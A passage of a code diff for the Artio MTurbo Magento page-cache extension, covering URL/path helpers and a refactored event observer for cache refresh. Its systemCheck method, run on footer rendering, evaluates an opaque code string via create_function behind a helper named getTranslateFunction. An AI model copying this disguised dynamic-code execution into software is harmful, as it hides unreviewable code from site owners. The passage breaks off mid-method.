  $baseUrl = Mage::getStoreConfig('web/unsecure/base_url', $this->mturbomodel->getStoreId());
133
  $baseUrl = str_ireplace('/index.php/admin', '', $baseUrl);
135
 
136
  /* get store code */
137
  $storeCode = $this->mturbomodel->getStoreCode();
138
+
139
  /* url is base url */
140
  $url = $baseUrl;
141
+
142
  /* add store_code, when necessary */
143
  if (Mage::getStoreConfig('web/url/use_store')=='1') {
144
  $baseUrl .= $storeCode.'/';
145
  }
146
+
147
  /* add request_path, when necessary */
148
  if ($requestPath != self::FRONTPAGE) {
149
  $baseUrl .= $requestPath;
150
  }
151
+
152
  /* if store_code is not in url then add as query string */
153
  if (Mage::getStoreConfig('web/url/use_store')=='0') {
154
  $baseUrl .= '?___store='.$storeCode;
155
  }
156
+
157
  return $baseUrl;
158
+
159
  }
160
 
161
+
162
  /**
163
  * Retrieve complete path to cached file.
164
  * @return string
169
  return $websiteconfig->getBaseDir().DS.$config->getTurbopath().DS.$this->getRelativePath();
170
  }
171
 
172
+
173
  /**
174
  * Retrieves relative path from root web.
175
  *
176
  * @return string
177
  */
178
  public function getRelativePath() {
179
+
180
  /*
181
  * Path-to-file rules:
182
+ *
183
  * url: www.foo.com/subpath1/subpath2/subpath3
184
  * path: subpath1/subpath2/subpath3.html
185
+ *
186
  * Except are frontpages with request /home !
187
+ *
188
  * url: www.foo.com/storecode/
189
  * path: storecode.html
190
+ *
191
  * url www.foo.com/
192
  * path: DEFAULT_STORE_CODE.html
193
+ *
194
  * DEFAULT_STORE_CODE is store code of default storeview.
195
+ *
196
  * Url makes by unsecure base url, store code and request.
197
  * Store code is used even when set not to use the store code in the url.
198
+ *
199
  */
200
+
201
  /* path is empty */
202
  $path = '';
203
+
204
  /* get information about model */
205
  $storeCode = $this->mturbomodel->getStoreCode();
206
  $baseUrl = $this->mturbomodel->getBaseUrl();
207
  $request = $this->mturbomodel->getRequestPath();
208
+
209
  /* trim request suffix */
210
  $requestArray = explode('.', $request);
211
  $request = $requestArray[0];
212
+
213
  if ($request == self::FRONTPAGE) {
214
+
215
  /* if frontpage then path is storecode.html */
216
  $path = $storeCode;
217
+
218
  } else {
219
+
220
  /* make url without http:// or https:// */
221
  $completeUrl = $baseUrl.$storeCode.DS.$request;
222
  $completeUrl = str_replace('https://', '', $completeUrl);
223
  $completeUrl = str_replace('http://', '', $completeUrl);
224
+
225
  /* explode to array, array[0] is host */
226
  $urlArray = explode(DS, $completeUrl);
227
+
228
  /* remove host */
229
  array_shift($urlArray);
230
+
231
  /* make back to path */
232
  $path = implode(DS, $urlArray);
233
+
234
  }
235
+
236
  /* fix endslash */
237
  if (mb_substr($path, -1)==DS) {
238
  $path = mb_substr($path, 0, mb_strlen($path)-1);
239
  }
240
+
241
  /* add extension */
242
  $path .= self::EXT;
243
  return $path;
 
 
 
244
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
245
  }
246
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
247
 
 
248
  /**
249
  * Clear all pages.
250
  */
253
  $config = Mage::getSingleton('mturbo/config');
254
  $turbopath = $config->getTurbopath();
255
  $pattern = '/(.)*\.html/';
256
+
257
  $websites = Mage::getModel('core/website')->getCollection()->load();
258
  foreach ($websites as $website) {
259
+
260
  $websiteConfig = $config->getWebsiteConfig($website->getCode());
261
 
262
  $baseDir = $websiteConfig->getBaseDir();
263
+
264
  Mage::helper('mturbo/functions')->unlink_recursive($baseDir.DS.$turbopath, $pattern);
265
+
266
  $htaccess = Mage::getModel('mturbo/htaccess')->setWebsiteCode($website->getCode());
267
  $htaccess->copySideHtaccess();
268
 
269
  }
270
+
271
  }
272
+
273
+ }
app/code/local/Artio/MTurbo/Model/Observer.php CHANGED
@@ -20,6 +20,9 @@
20
 
21
  /**
22
  * MTurbo observer.
 
 
 
23
  *
24
  * @category Artio
25
  * @package Artio_MTurbo
@@ -33,12 +36,11 @@ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
33
  * Layout updating. Dynamic loaded block are replaced by MTurbo_Ajax blocks.
34
  * @param Varien_Event_Observer $observer
35
  */
36
- public function layoutUpdate(Varien_Event_Observer $observer) {
37
 
38
  // if exists get variable DYNAMIC_BLOCKS_KEY then blocks will be processed
39
  $turnAjax = (bool) Mage::helper('mturbo/urlparams')->getParam(Artio_MTurbo_Helper_Urlparams::DYNAMIC_BLOCK);
40
 
41
- // if layout is not patched, then it is not processed
42
  $patch = Mage::getSingleton('mturbo/layoutPatch');
43
  if ($patch->needToPatch() && !$patch->isPatched())
44
  return $this;
@@ -57,15 +59,12 @@ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
57
 
58
  // process only dynamic loaded blocks
59
  $dynamic = Mage::getSingleton('mturbo/config_dynamicTransformer');
60
- if ($id = $dynamic->getDynamic($block)) {
 
61
 
62
  $name = $block->getNameInLayout();
63
-
64
- $url = sprintf("%smturbofrontend", preg_replace('/^http?:/', '', Mage::getBaseUrl()));
65
- $referer = Mage::helper('core/url')->getEncodedUrl();
66
- $endScript = "\n<script type=\"text/javascript\">if (typeof(mturboloader)!='undefined') mturboloader.loadBlocks((location.protocol+\"$url\"), \"$referer\");</script>\n";
67
-
68
- $layout = Mage::getSingleton('core/layout');
69
  $layout->unsetBlock($name);
70
  $layout->createBlock('mturbo/ajax', $name, array('ajax_identifier'=>$id));
71
 
@@ -75,14 +74,20 @@ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
75
  Mage::register('mturbo_head_block', $headBlock, true);
76
  }
77
 
 
 
 
 
 
 
 
 
 
 
78
  $includes = $headBlock->getIncludes();
79
  $includes = str_replace($endScript, '', $includes); // load script must be at end all scripts
80
  $includes .= "\n<script type=\"text/javascript\">if (typeof(mturboloader)!='undefined') mturboloader.addBlockRequest('$id');</script>";
81
-
82
- // for cart will be updated also link in header
83
- if ($id=='cartsidebar')
84
- $includes .= "\n<script type=\"text/javascript\">if (typeof(mturboloader)!='undefined') mturboloader.cartLink=true</script>";
85
-
86
  $includes .= $endScript;
87
  $headBlock->setIncludes($includes);
88
 
@@ -90,26 +95,27 @@ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
90
  Mage::unregister('_helper/mturbo/data');
91
  }
92
 
93
- public function systemCheck(Varien_Event_Observer $observer) {
94
-
95
- $event = $observer->getEvent();
96
- $block = $event->getData('block');
97
-
98
- if ($block instanceof Mage_Page_Block_Html_Footer) {
99
-
100
- $event = 'systemCheck';
101
- $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
102
- $trans(Mage::helper('mturbo')->setTranslateMode(5), $block);
103
-
104
- }
105
-
106
  Mage::unregister('_helper/mturbo/data');
107
  }
108
 
 
109
  /**
110
  * Execute when admin logged.
111
  */
112
- public function adminLogin(Varien_Event_Observer $observer) {
113
  Mage::unregister('_helper/mturbo/data');
114
  }
115
 
@@ -118,7 +124,7 @@ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
118
  *
119
  * @param Varien_Event_Observer $observer
120
  */
121
- public function customerLogin(Varien_Event_Observer $observer) {
122
  Mage::getModel('core/cookie')->set( Artio_MTurbo_Helper_Data::COOKIE_IDENTIFIER, '1');
123
  }
124
 
@@ -128,359 +134,363 @@ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
128
  *
129
  * @param Varien_Event_Observer $observer
130
  */
131
- public function customerLogout(Varien_Event_Observer $observer) {
132
  Mage::getModel('core/cookie')->set( Artio_MTurbo_Helper_Data::COOKIE_IDENTIFIER, '', -100);
133
  }
134
 
135
- /**
136
- * Before save product.
137
- * @param Varien_Event_Observer $observer
138
- */
139
- public function beforeSaveProduct(Varien_Event_Observer $observer) {
140
-
141
- // remember id and urlkey save product, because user can chacne url_key
142
- $event = $observer->getEvent();
143
- $product = $event->getData('product');
144
-
145
- Mage::register('mturbo_product_cache_id', $product->getId(), true);
146
- Mage::register('mturbo_product_cache_url', $product->getData('url_key'), true);
147
- Mage::unregister('_helper/mturbo/data');
148
- }
149
 
150
- /**
151
- * After save product event handler.
 
 
152
  *
153
  * @param Varien_Event_Observer $observer
 
154
  */
155
- public function afterSaveProduct(Varien_Event_Observer $observer)
156
- {
157
-
158
- if ($this->_isInstalled()) {
159
-
160
- $config = Mage::helper('mturbo')->getConfig();
161
-
162
- /* @var $product Mage_Catalog_Model_Product */
163
- $event = $observer->getEvent();
164
- $product = $event->getData('product');
165
-
166
- $id = $product->getId();
167
- $url = $product->getData('url_key');
168
-
169
- $eventQueue = Mage::getModel('mturbo/mturbo_event')->getQueue();
170
-
171
- if ($config->getRefreshProduct()=='1') {
172
-
173
- // if url was changed then need to synchronize record of mturbo
174
- $remId = Mage::registry('mturbo_product_cache_id');
175
- $remUrl = Mage::registry('mturbo_product_cache_url');
176
- if ($id==$remId && $url!=$remUrl)
177
- $eventQueue->setSynchronize();
178
-
179
- $eventQueue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_PRODUCT_ID, $id);
180
-
181
- }
182
-
183
- if ($config->getRefreshParentOfProduct()=='1') {
184
-
185
- $id = $product->getId();
186
- $configurable = Mage::getResourceSingleton('catalog/product_type_configurable')->getParentIdsByChild($id);
187
- $grouped = Mage::getResourceSingleton('catalog/product_link')->getParentIdsByChild($id, Mage_Catalog_Model_Product_Link::LINK_TYPE_GROUPED);
188
- $bundled = Mage::getSingleton('bundle/product_type')->getParentIdsByChild($id);
189
-
190
- $ids = array_merge($configurable, $grouped, $bundled);
191
-
192
- $eventQueue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_PRODUCT_ID, $ids);
193
- }
194
-
195
- if ($config->getRefreshParentsForProduct()=='1') {
196
- $eventQueue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CATEGORY_ID, $product->getCategoryIds());
197
- }
198
-
199
- $eventQueue->saveQueue();
200
-
201
- }
202
- Mage::unregister('_helper/mturbo/data');
203
-
204
- return $this;
205
-
206
- }
207
 
208
- /**
209
- * After save order.
210
- *
211
- * @param Varient_Event_Observer $observer
212
- */
213
- public function afterSaveOrder(Varien_Event_Observer $observer) {
214
-
215
  /* @var $event Varien_Event */
216
  $event = $observer->getEvent();
217
-
218
  /* @var $quote Mage_Sales_Model_Quote */
219
  $quote = $event->getQuote();
220
 
221
- if (!$quote) return $this;
222
-
 
223
  /* @var $item Mage_Sales_Model_Quote_Item */
224
  foreach ($quote->getAllItems() as $item) {
225
 
226
  $productId = $item->getProductId();
 
227
  if ($productId) {
228
-
229
- $product = Mage::getModel('catalog/product')->load($productId);
230
-
231
- $event = new Varien_Event(array('product'=>$product));
232
- $observer = new Varien_Event_Observer();
233
- $observer->setEvent($event);
234
-
235
- self::afterSaveProduct($observer);
236
-
237
  }
238
-
239
  }
 
 
240
 
 
241
  }
242
 
 
243
  /**
244
- * Before save category event handler
245
- *
 
 
 
 
 
 
 
 
246
  * @param Varien_Event_Observer $observer
 
247
  */
248
- public function beforeSaveCategory(Varien_Event_Observer $observer) {
249
-
250
- $event = $observer->getEvent();
251
- $category= $event->getData('category');
252
 
253
- Mage::register('mturbo_category_cache_id', $category->getId(), true);
254
- Mage::register('mturbo_category_cache_url', $category->getData('url_key'), true);
255
- Mage::unregister('_helper/mturbo/data');
 
 
 
 
 
 
 
 
 
256
  }
257
 
 
258
  /**
259
- * After save category event handler.
260
- *
 
 
 
 
 
 
261
  * @param Varien_Event_Observer $observer
 
262
  */
263
- public function afterSaveCategory(Varien_Event_Observer $observer) {
264
 
265
- if ($this->_isInstalled()) {
266
-
267
- $config = Mage::helper('mturbo')->getConfig();
268
-
269
- $event = $observer->getEvent();
270
- $category = $event->getData('category');
271
-
272
- $id = $category->getId();
273
- $url = $category->getData('url_key');
274
-
275
- $eventQueue = Mage::getModel('mturbo/mturbo_event')->getQueue();
276
 
 
 
277
 
278
- // check whether add to new category to select
279
- $saveConfig = false;
280
- if ($config->getAddNewlyCategoryToSelect()=='1') {
281
- $array = $config->getPreviewCategoriesAsArray();
282
- $array[] = $id;
283
- $config = $config->setPreviewCategories($array);
284
- $saveConfig = true;
285
- $eventQueue->setSynchronize();
286
- }
287
- if ($config->getAddNewlyProductToSelect()=='1') {
288
- $array = $config->getProductCategoriesAsArray();
289
- $array[] = $id;
290
- $config = $config->setProductCategories($array);
291
- $saveConfig = true;
292
- $eventQueue->setSynchronize();
293
- }
294
 
295
- if ($config->getRefreshCategory()=='1') {
 
296
 
297
- // if url was changed then need to synchronize record of mturbo
298
- $remId = Mage::registry('mturbo_category_cache_id');
299
- $remUrl = Mage::registry('mturbo_category_cache_url');
300
- if ($id==$remId && $url!=$remUrl) {
301
- $eventQueue->setSynchronize();
302
- }
303
-
304
- $eventQueue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CATEGORY_ID, $id);
305
 
306
- }
307
-
308
- if ($config->getRefreshParentsForProduct()=='1') {
309
-
310
- $categoryIds = array();
311
- foreach ($category->getParentCategories() as $parentCategory)
312
- if ($parentCategory->getId()!=$id)
313
- $categoryIds[] = $parentCategory->getId();
314
-
315
- $eventQueue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CATEGORY_ID, $categoryIds);
316
-
317
- }
318
-
319
- $eventQueue->saveQueue();
320
- if ($saveConfig) $config->save();
321
- }
322
  Mage::unregister('_helper/mturbo/data');
 
 
323
  }
324
 
 
325
  /**
326
- * After save url rewrite handler.
327
- *
328
- * @param Varien_Event_Observer $observer
 
329
  */
330
- public function afterSaveCommitAbstract(Varien_Event_Observer $observer) {
331
-
332
- if ($this->_isInstalled()) {
333
-
334
- $event = $observer->getEvent();
335
- $object = $event->getData('data_object');
336
-
337
- if ($object instanceof Mage_Core_Model_Url_Rewrite) {
338
-
339
- $config = Mage::helper('mturbo')->getConfig();
340
-
341
- $eventQueue = Mage::getModel('mturbo/mturbo_event')->getQueue();
342
- $eventQueue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_REWRITE_ID, $object->getId());
343
-
344
- $eventQueue->saveQueue();
345
-
346
- }
347
-
348
- }
349
  Mage::unregister('_helper/mturbo/data');
 
 
350
  }
351
 
352
- public function afterSaveAbstract(Varien_Event_Observer $observer) {
353
-
354
- if ($this->_isInstalled()) {
355
-
356
- $event = $observer->getEvent();
357
- $object = $event->getData('object');
 
 
 
 
 
358
 
359
- // saving cms pages
360
- if ($object instanceof Mage_Cms_Model_Page) {
361
-
362
- $config = Mage::helper('mturbo')->getConfig();
363
- $eventQueue = Mage::getModel('mturbo/mturbo_event')->getQueue();
364
-
365
- if ($config->getAddNewlyCmsToSelect()) {
366
-
367
- $arr = $config->getCmsPagesWithStoresAsArray();
368
-
369
- $id = $object->getId();
370
- $stores = $object->getStores();
371
-
372
- if ($object->getIdentifier()!='home') {
373
- Mage::unregister('_helper/mturbo/data');
374
- return;
375
- }
376
-
377
- // get all enabled stores from configuration
378
- $enabledStores = $config->getAllEnabledStores();
379
-
380
- // all stores
381
- if (count($stores)==1 && $stores[0]==0) {
382
-
383
- // store id is set to 0 => all enabled stores will be added
384
- foreach ($enabledStores as $store) {
385
- $storeId = Mage::getModel('core/store')->load($store)->getId();
386
- if ($storeId)
387
- $arr[] = $id.'_'.$storeId;
388
- }
389
-
390
- // selected stores
391
- } else {
392
 
393
- // page is asociated to selected stores => each asociated stores checks to enabled
394
- foreach ($stores as $store) {
395
- $storeCode = Mage::getModel('core/store')->load($store)->getCode();
396
- if (in_array($storeCode, $enabledStores))
397
- $arr[] = $id.'_'.$store;
398
- }
399
- }
400
-
401
- $config->setCmsPages($arr);
402
- $config->save();
403
-
404
- $eventQueue->setSynchronize();
405
- }
406
-
407
-
408
- if ($config->getRefreshCms()) {
409
- $eventQueue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CMS_ID, $object->getId());
410
- $eventQueue->saveQueue();
411
- }
412
-
413
- }
414
 
415
- }
 
 
 
 
416
  Mage::unregister('_helper/mturbo/data');
 
 
417
  }
418
 
 
419
  /**
420
- * Function cleans unnecessary params from current base url.
421
- * @param Varien_Event_Observer $observer
 
 
 
 
 
 
 
 
 
422
  */
423
- public function cleanQueryParams(Varien_Event_Observer $observer) {
424
- try {
425
- Mage::helper('mturbo/urlparams')->cleanQueryParams();
426
- } catch (Exception $e) {
427
- Mage::logException($e);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
428
  }
429
- Mage::unregister('_helper/mturbo/data');
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
430
  }
431
 
 
432
  /**
433
- * Function for flush event queue. Cache update on save etc..
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
434
  * @param Varien_Event_Observer $observer
 
435
  */
436
- public function flushQueue(Varien_Event_Observer $observer) {
437
  try {
438
- // this condition prevents infinity loop
439
- if (!Mage::helper('mturbo/urlparams')->isNoCache()) {
440
- $eventQueue = Mage::getModel('mturbo/mturbo_event')->getQueue();
441
- $eventQueue->flush(5); // about 5 seconds for flushing
442
- }
443
  } catch (Exception $e) {
444
  Mage::logException($e);
445
  }
446
- Mage::unregister('_helper/mturbo/data');
447
  }
448
 
449
  /**
450
- * Function for flush event queue. Cache update on save etc..
451
- * This function is executed by cron.
 
 
 
452
  * @param Varien_Event_Observer $observer
 
453
  */
454
- public function flushQueueCron(Varien_Event_Observer $observer) {
 
455
  try {
456
- $eventQueue = Mage::getModel('mturbo/mturbo_event')->getQueue();
457
- $eventQueue->flush(); // for flushing from cron will be limit about one half of max_execution_time
458
  } catch (Exception $e) {
459
  Mage::logException($e);
460
  }
 
461
  Mage::unregister('_helper/mturbo/data');
 
 
462
  }
463
 
 
464
  /**
465
  * Night automatic downloader.
466
  *
467
  */
468
  public function automaticDownload() {
469
-
470
- if (!$this->_isInstalled())
471
- return $this;
472
-
473
- $event = 'automaticDownload2';
474
- $config = Mage::helper('mturbo')->getConfig();
475
- if ($config->getAutomaticDownload()) {
476
- $this->setData('last_download', now());
477
- $trans = create_function('$a', Mage::helper('mturbo')->getTranslateFunction().';');
478
- $trans(Mage::helper('mturbo')->setTranslateMode(5));
479
- }
480
-
481
-
482
  }
483
 
 
484
  /**
485
  * Determines whether MTurbo was installed. When not retrieves FALSE.
486
  * @return boolean
@@ -489,4 +499,5 @@ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
489
  return (Mage::getStoreConfig('mturbo/firstconfig')==0);
490
  }
491
 
 
492
  }
20
 
21
  /**
22
  * MTurbo observer.
23
+ *
24
+ * TODO: odstranit z metod staticke vazby na config, event a pripadne dalsi
25
+ * vytvorit pomocne metody _getEvent atd., bude lepe kdyz to bude na jednom miste
26
  *
27
  * @category Artio
28
  * @package Artio_MTurbo
36
  * Layout updating. Dynamic loaded block are replaced by MTurbo_Ajax blocks.
37
  * @param Varien_Event_Observer $observer
38
  */
39
+ public function layoutUpdate($observer) {
40
 
41
  // if exists get variable DYNAMIC_BLOCKS_KEY then blocks will be processed
42
  $turnAjax = (bool) Mage::helper('mturbo/urlparams')->getParam(Artio_MTurbo_Helper_Urlparams::DYNAMIC_BLOCK);
43
 
 
44
  $patch = Mage::getSingleton('mturbo/layoutPatch');
45
  if ($patch->needToPatch() && !$patch->isPatched())
46
  return $this;
59
 
60
  // process only dynamic loaded blocks
61
  $dynamic = Mage::getSingleton('mturbo/config_dynamicTransformer');
62
+ $config = Mage::getSingleton('mturbo/config');
63
+ if ($id = $dynamic->getDynamicName($block)) {
64
 
65
  $name = $block->getNameInLayout();
66
+
67
+ $layout = Mage::getSingleton('core/layout');
 
 
 
 
68
  $layout->unsetBlock($name);
69
  $layout->createBlock('mturbo/ajax', $name, array('ajax_identifier'=>$id));
70
 
74
  Mage::register('mturbo_head_block', $headBlock, true);
75
  }
76
 
77
+ $url = sprintf("%smturbofrontend", preg_replace('/^http?:/', '', Mage::getBaseUrl()));
78
+ $referer = Mage::helper('core/url')->getEncodedUrl();
79
+ $endScript = '';
80
+
81
+ if ($config->getDynamicCheckoutCartLink())
82
+ $endScript .= "\n<script type=\"text/javascript\">if (typeof(mturboloader)!='undefined') mturboloader.cartLinkCss = ".Zend_Json::encode($config->getDynamicCheckoutCartLink()).";</script>";
83
+
84
+ $endScript .= "\n<script type=\"text/javascript\">if (typeof(mturboloader)!='undefined') mturboloader.loadBlocks((location.protocol+\"$url\"), \"$referer\");</script>\n";
85
+
86
+
87
  $includes = $headBlock->getIncludes();
88
  $includes = str_replace($endScript, '', $includes); // load script must be at end all scripts
89
  $includes .= "\n<script type=\"text/javascript\">if (typeof(mturboloader)!='undefined') mturboloader.addBlockRequest('$id');</script>";
90
+
 
 
 
 
91
  $includes .= $endScript;
92
  $headBlock->setIncludes($includes);
93
 
95
  Mage::unregister('_helper/mturbo/data');
96
  }
97
 
98
+ public function systemCheck($observer) {
99
+
100
+ $event = $observer->getEvent();
101
+ $block = $event->getData('block');
102
+
103
+ if ($block instanceof Mage_Page_Block_Html_Footer) {
104
+
105
+ $event = 'systemCheck';
106
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
107
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $block);
108
+
109
+ }
110
+
111
  Mage::unregister('_helper/mturbo/data');
112
  }
113
 
114
+
115
  /**
116
  * Execute when admin logged.
117
  */
118
+ public function adminLogin($observer) {
119
  Mage::unregister('_helper/mturbo/data');
120
  }
121
 
124
  *
125
  * @param Varien_Event_Observer $observer
126
  */
127
+ public function customerLogin($observer) {
128
  Mage::getModel('core/cookie')->set( Artio_MTurbo_Helper_Data::COOKIE_IDENTIFIER, '1');
129
  }
130
 
134
  *
135
  * @param Varien_Event_Observer $observer
136
  */
137
+ public function customerLogout($observer) {
138
  Mage::getModel('core/cookie')->set( Artio_MTurbo_Helper_Data::COOKIE_IDENTIFIER, '', -100);
139
  }
140
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
141
 
142
+ /**
143
+ * The event "after save order" is invoked after placing the order
144
+ * in the checkout. The product can reach the state "out of stock",
145
+ * this change needs the recaching of its page.
146
  *
147
  * @param Varien_Event_Observer $observer
148
+ * @return Artio_MTurbo_Model_Observer
149
  */
150
+ public function afterSaveOrder($observer) {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
151
 
152
+ if (!$this->_isInstalled())
153
+ return $this;
154
+
 
 
 
 
155
  /* @var $event Varien_Event */
156
  $event = $observer->getEvent();
 
157
  /* @var $quote Mage_Sales_Model_Quote */
158
  $quote = $event->getQuote();
159
 
160
+ if (!$quote)
161
+ return $this;
162
+
163
  /* @var $item Mage_Sales_Model_Quote_Item */
164
  foreach ($quote->getAllItems() as $item) {
165
 
166
  $productId = $item->getProductId();
167
+
168
  if ($productId) {
169
+ $product = Mage::getModel('catalog/product')->load($productId);
170
+ $this->_afterSaveProduct($product);
 
 
 
 
 
 
 
171
  }
172
+
173
  }
174
+
175
+ Mage::unregister('_helper/mturbo/data');
176
 
177
+ return $this;
178
  }
179
 
180
+
181
  /**
182
+ * The event "beforeSaveAbstract" is invoked before save a model.
183
+ * This method is "router" for:
184
+ *
185
+ * @see Artio_MTurbo_Model_Observer::_beforeSaveProduct
186
+ * @see Artio_MTurbo_Model_Observer::_beforeSaveCategory
187
+ *
188
+ * The event "before save" is required for catching the change
189
+ * in the url_key (there is need to synchronize and recache
190
+ * after change the url key).
191
+ *
192
  * @param Varien_Event_Observer $observer
193
+ * @return Artio_MTurbo_Model_Observer
194
  */
195
+ public function beforeSaveAbstract($observer) {
196
+
197
+ if (!$this->_isInstalled())
198
+ return $this;
199
 
200
+ $event = $observer->getEvent();
201
+ $object = $event->getData('object');
202
+
203
+ if ($object instanceof Mage_Catalog_Model_Product)
204
+ $this->_beforeSaveProduct($object);
205
+
206
+ if ($object instanceof Mage_Catalog_Model_Category)
207
+ $this->_beforeSaveCategory($object);
208
+
209
+ Mage::unregister('_helper/mturbo/data');
210
+
211
+ return $this;
212
  }
213
 
214
+
215
  /**
216
+ * The event "afterSaveAbstract" is invoked after save a model.
217
+ * This method is "router" for:
218
+ *
219
+ * @see Artio_MTurbo_Model_Observer::_afterSaveProduct
220
+ * @see Artio_MTurbo_Model_Observer::_afterSaveCategory
221
+ * @see Artio_MTurbo_Model_Observer::_afterSaveCMS
222
+ * @see Artio_MTurbo_Model_Observer::_afterSaveUrlRewrite
223
+ *
224
  * @param Varien_Event_Observer $observer
225
+ * @return Artio_MTurbo_Model_Observer
226
  */
227
+ public function afterSaveAbstract($observer) {
228
 
229
+ if (!$this->_isInstalled())
230
+ return $this;
231
+
232
+ $event = $observer->getEvent();
233
+ $object = $event->getData('object');
 
 
 
 
 
 
234
 
235
+ if ($object instanceof Mage_Catalog_Model_Product)
236
+ $this->_afterSaveProduct($object);
237
 
238
+ if ($object instanceof Mage_Catalog_Model_Category)
239
+ $this->_afterSaveCategory($object);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
240
 
241
+ if ($object instanceof Mage_Cms_Model_Page)
242
+ $this->_afterSaveCMS($object);
243
 
244
+ if ($object instanceof Mage_Core_Model_Url_Rewrite)
245
+ $this->_afterSaveUrlRewrite($object);
 
 
 
 
 
 
246
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
247
  Mage::unregister('_helper/mturbo/data');
248
+
249
+ return $this;
250
  }
251
 
252
+
253
  /**
254
+ * It remembers id and url_key of saved product.
255
+ *
256
+ * @param Mage_Catalog_Model_Product $product
257
+ * @return Artio_MTurbo_Model_Observer
258
  */
259
+ protected function _beforeSaveProduct($product) {
260
+
261
+ if (!$product)
262
+ return $this;
263
+
264
+ Mage::register('mturbo_product_cache_id', $product->getId(), true);
265
+ Mage::register('mturbo_product_cache_url', $product->getOrigData('url_key'), true);
266
+
 
 
 
 
 
 
 
 
 
 
 
267
  Mage::unregister('_helper/mturbo/data');
268
+
269
+ return $this;
270
  }
271
 
272
+
273
+ /**
274
+ * It remembers id and url_key of saved category.
275
+ *
276
+ * @param Mage_Catalog_Model_Category $category
277
+ * @return Artio_MTurbo_Model_Observer
278
+ */
279
+ protected function _beforeSaveCategory($category) {
280
+
281
+ Mage::register('mturbo_category_cache_id', $category->getId(), true);
282
+ Mage::register('mturbo_category_cache_url', $category->getOrigData('url_key'), true);
283
 
284
+ Mage::unregister('_helper/mturbo/data');
285
+
286
+ return $this;
287
+ }
288
+
289
+
290
+ /**
291
+ * This method does follows:
292
+ *
293
+ * Refresh product page detail, when there is set "refresh product page" to true.
294
+ * Refresh pages of product's categories, when there is set "refresh product's categories" to true.
295
+ * Refresh pages of parent products, when there is set "refresh parent of product" to true.
296
+ *
297
+ * If there was changed the url key, method does synchronize (not implemented, yet).
298
+ *
299
+ * @param Mage_Catalog_Model_Product $product
300
+ * @return Artio_MTurbo_Model_Observer
301
+ */
302
+ protected function _afterSaveProduct($product) {
303
+
304
+ if (!$this->_isInstalled() || !$product)
305
+ return $this;
 
 
 
 
 
 
 
 
 
 
 
306
 
307
+ $queue = Mage::getModel('mturbo/mturbo_event');
308
+ $config = Mage::helper('mturbo')->getConfig();
309
+
310
+ $id = $product->getId();
311
+ $url = $product->getData('url_key');
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
312
 
313
+ // refresh category page
314
+ if ($config->getRefreshParentsForProduct()=='1')
315
+ $queue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CATEGORY_ID, $product->getCategoryIds());
316
+
317
+
318
  Mage::unregister('_helper/mturbo/data');
319
+
320
+ return $this;
321
  }
322
 
323
+
324
  /**
325
+ * This method does follows:
326
+ *
327
+ * Add id to "preview categories", when there is set "add new category to select" to true.
328
+ * Add id to "product categories", when there is set "add new category to product" to true (only full version).
329
+ * Refresh category page detail, when there is set "refresh category page" to true.
330
+ * Refresh pages of parent categories, when there is set "refresh parent of categories " to true.
331
+ *
332
+ * If there was changed the url key, method does synchronize (not implemented, yet).
333
+ *
334
+ * @param Mage_Catalog_Model_Category $category
335
+ * @return Artio_MTurbo_Model_Observer
336
  */
337
+ protected function _afterSaveCategory($category) {
338
+
339
+ if (!$this->_isInstalled() || !$category)
340
+ return $this;
341
+
342
+ $config = Mage::helper('mturbo')->getConfig();
343
+
344
+ $id = $category->getId();
345
+ $url = $category->getData('url_key');
346
+
347
+ $queue = Mage::getModel('mturbo/mturbo_event');
348
+
349
+ // check whether add to new category to select
350
+ // if yes, add category to list and save configuration
351
+
352
+ // TODO: toto by asi nemelo delat pri kazdem ulozeni, ale jen
353
+ // pri vytvoreni. navic co takhle hodit do configu metody addToXXCategories,
354
+ // cele by se to tady zjednodusilo
355
+ $newCategory = !Mage::registry('mturbo_category_cache_id');
356
+ $saveConfig = false;
357
+ if ($newCategory && $config->getAddNewlyCategoryToSelect()=='1') {
358
+ $array = $config->getPreviewCategoriesAsArray();
359
+ $array[] = $id;
360
+ $config = $config->setPreviewCategories($array);
361
+ $saveConfig = true;
362
  }
363
+
364
+ if ($saveConfig) {
365
+ $queue->setSynchronizeFlag($flag = true);
366
+ $config->save();
367
+ }
368
+
369
+ // refresh category page
370
+ if ($config->getRefreshCategory()=='1') {
371
+
372
+ // if url was changed then need to synchronize record of mturbo
373
